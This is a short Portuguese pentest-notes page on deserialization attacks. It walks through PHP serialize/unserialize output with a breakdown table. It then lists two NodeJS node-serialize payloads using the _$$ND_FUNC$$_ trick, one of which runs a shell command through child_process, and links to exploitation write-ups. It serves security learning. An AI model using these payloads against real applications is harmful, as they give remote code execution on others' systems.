Deserialization Attack
PHP
Serialize
Para serializarmos um array, vamos executar os seguintes comandos:
php -a
$array = ['me', 'chamo', 'Mysther'];
echo serialize($array);
E então iremos ter a seguite saída:
a:3:{i:0;s:2:"me";i:1;s:5:"chamo";i:2;s:7:"Mysther";}
PARTE
DESCRIÇÃO
a:3:{
Indica que o array contém 3 valores
i:0;
Inteiro (Integer) no index 0 (zero) do array
s:2:"me";
String que contém 2 caracteres, com o valor me
i:1;
Inteiro (Integer) no index 1 do array
s:5:"chamo";
String que contém 5 caracteres, com o valor chamo
i:2;
Inteiro (Integer) no index 2 do array
s:7:"Mysther";}
String que contém 7 caracteres, com o valor Mysther
Unserialize
Este com um nome bem intuitivo, irá fazer o inverso da função serialize
. Assim, iremos fazer uma string se transformar em um array.
php -a
$string = 'a:3:{i:0;s:2:"me";i:1;s:5:"chamo";i:2;s:7:"Mysther";}';
print_r(unserialize($string));
NodeJS
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('id', function(error,stdout,stderr){console.log(stdout)});}()"}
{"rce":"_$$ND_FUNC$$_function(){console.log('hacked')}()"}
Sites
# PHP
https://blog.checkpoint.com/wp-content/uploads/2016/08/Exploiting-PHP-7-unserialize-Report-160829.pdf
# Java
https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#for-android
# NodeJS
https://github.com/luin/serialize
https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/
Last updated
Was this helpful?